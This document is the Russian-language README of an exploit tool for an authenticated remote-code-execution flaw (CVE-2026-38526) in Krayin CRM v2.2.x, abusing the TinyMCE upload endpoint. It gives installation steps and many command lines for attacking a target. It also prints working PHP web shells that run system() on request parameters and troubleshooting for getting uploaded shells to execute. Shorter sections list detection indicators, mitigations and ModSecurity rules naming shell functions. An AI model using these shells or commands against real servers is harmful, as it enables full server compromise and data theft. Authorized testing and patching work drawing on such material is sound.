
CVE-2026-38526 эксплойт для Krayin CRM v2.2.x - Аутентифицированное RCE через обход загрузки файлов TinyMCE. Включает интерактивную оболочку, полезные нагрузки различных типов, автоматическую генерацию оболочки и верификацию. Автор: Sudeepa Wanigarathna. Только для авторизованного тестирования.
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ — несанкционированное использование незаконно и неэтично.
Этот эксплойт демонстрирует критическую уязвимость аутентифицированного удаленного выполнения кода (RCE), обнаруженную в Krayin CRM версии 2.2.x. Уязвимость существует в функционале загрузки файлов TinyMCE, который позволяет аутентифицированным администраторам загружать и выполнять произвольный PHP-код на сервере.
| Свойство | Значение |
|---|
| CVE ID | CVE-2026-38526 |
| Затронутое ПО | Krayin CRM v2.2.x |
| Тип уязвимости | Аутентифицированное удаленное выполнение кода (RCE) |
| Требуется аутентификация | Да (доступ уровня администратора) |
| Воздействие | Полная компрометация системы |
| Оценка CVSS | 8.8 (Высокий) |
Уязвимость возникает из-за недостаточной проверки типа файла в конечной точке загрузки TinyMCE (/admin/tinymce/upload). Аутентифицированный администратор может:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [ОПЦИИ]
| Параметр | Описание |
|---|---|
-t, --target | URL цели (например, http://192.168.1.100) |
-u, --username | Имя администратора или email |
-p, --password | Пароль администратора |
# Базовая эксплуатация со сгенерированной оболочкой
python3 exploit.py -t http://target.com -u [email protected] -p password
# Загрузка пользовательского PHP-файла оболочки
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Генерация расширенной оболочки с интерактивным режимом
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Генерация файла оболочки без эксплуатации
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Использование с прокси для тестирования/отладки
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Вывод JSON для автоматизации
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Подробный режим с пользовательским таймаутом
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Пользовательский User-Agent и заголовки
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Базовая оболочка (basic)
Простое выполнение команд с помощью функции system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Расширенная оболочка (advanced)
Функционально богатая оболочка с:
Минимальная оболочка (minimal)
Минимальный след для скрытности.
<?php system($_GET["cmd"]); ?>
Файловый менеджер (file_manager)
Полноценный интерфейс управления файлами:
Пользовательская оболочка (custom)
Используйте собственный PHP-файл оболочки с параметром -f.
Человекочитаемый цветной вывод, подходящий для интерактивного использования.
-o json)Машиночитаемый формат для автоматизации и интеграции.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Нет вывода, кроме ошибок. Полезен для пакетной обработки.
| Опция | Описание | По умолчанию |
|---|---|---|
--timeout | Таймаут запроса в секундах | 30 |
--retry | Количество повторных попыток | 3 |
--retry-delay | Задержка между повторными попытками в секундах | 2 |
--user-agent | Пользовательская строка User-Agent | Браузерный UA по умолчанию |
--header | Пользовательские HTTP-заголовки (Ключ: Значение) | Нет |
--verify-ssl | Проверять SSL-сертификаты | False |
--proxy | URL HTTP/HTTPS прокси | Нет |
-v, --verbose | Включить отладочный вывод | False |
-q, --quiet | Подавить весь вывод | False |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Файлы для мониторинга:
public/storage/upload/image.php.jpg)Логи для проверки:
/admin/tinymce/uploadСистемные индикаторы:
Немедленные действия:
# Обновление до пропатченной версии
composer update krayin/crm
# Временное отключение доступа администратора
# Удаление ненужных учётных записей администратора
# Смена всех паролей администраторов
Усиление защиты загрузки файлов:
// Валидация типа файла по содержимому, а не только по расширению
// Реализация политики безопасности содержимого (CSP)
// Использование веб-брандмауэра (WAF)
// Включение сканирования загружаемых файлов
Контроль доступа:
# Ограничение IP-адресов администраторов в .htaccess
# Внедрение MFA для учётных записей администраторов
# Регулярный аудит администраторов
# Политика таймаута сессии
Правила WAF (ModSecurity):
# Блокировка подозрительных загрузок файлов
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
# Блокировка веб-оболочек
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
Эта уязвимость была обнаружена в ходе ответственного исследования безопасности. Процесс раскрытия включал следующие шаги:
ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», И ЛЮБЫЕ ЯВНЫЕ
ИЛИ ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПОДРАЗУМЕВАЕМЫМИ
ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ И ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЁННОЙ ЦЕЛИ,
ОТКЛОНЯЮТСЯ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОР НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ
ЗА ЛЮБОЙ ПРЯМОЙ, КОСВЕННЫЙ, СЛУЧАЙНЫЙ, ОСОБЫЙ, ПОКАЗАТЕЛЬНЫЙ ИЛИ
КОСВЕННЫЙ УЩЕРБ, ВОЗНИКШИЙ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО
ОБЕСПЕЧЕНИЯ.
ИСПОЛЬЗОВАНИЕ ЭТОГО ИНСТРУМЕНТА ДЛЯ ЛЮБЫХ ЦЕЛЕЙ, КРОМЕ АВТОРИЗОВАННОГО
ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ, НЕЗАКОННО И НЕЭТИЧНО. АВТОР НЕ НЕСЁТ
ОТВЕТСТВЕННОСТИ ЗА НЕСАНКЦИОНИРОВАННОЕ ИСПОЛЬЗОВАНИЕ ИЛИ ЛЮБОЙ
УЩЕРБ, ПРИЧИНЁННЫЙ ЭТИМ ИНСТРУМЕНТОМ.
Проблема: Сбой аутентификации
/admin/loginПроблема: Не удаётся загрузить файл
Проблема: Оболочка не выполняет команды
php.iniecho testПроблема: Ошибки SSL-сертификата
--verify-ssl или отключите проверку# Включить подробное логирование
python3 exploit.py -t http://target.com -u admin -p pass -v
# С прокси (Burp Suite и т.д.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
Приветствуются вклады! Пожалуйста, убедитесь:
Если вы считаете этот инструмент полезным для исследований безопасности, пожалуйста, рассмотрите:
Создано с ❤️ для исследований безопасности
Помните: Большая сила влечёт за собой большую ответственность. Используйте эти знания с умом!
# Краткая справка
python3 exploit.py -t URL -u USER -p PASS [ОПЦИИ]
# Опции:
# -f FILE Загрузить пользовательскую оболочку
# --shell-type TYPE Basic|Advanced|Minimal|File_Manager|Custom
# -i Интерактивный режим
# --proxy URL HTTP-прокси
# -v Подробный вывод
# -o json Вывод в JSON
# --generate-only Создать оболочку без эксплуатации
# --timeout SEC Таймаут запроса
# --retry N Число повторных попыток
# --user-agent UA Пользовательский User-Agent
# --header "K: V" Пользовательские заголовки
# --verify-ssl Проверять SSL-сертификаты
# -q, --quiet Подавить вывод
🔒 Помните: Всегда получайте письменное разрешение перед тестированием любой системы!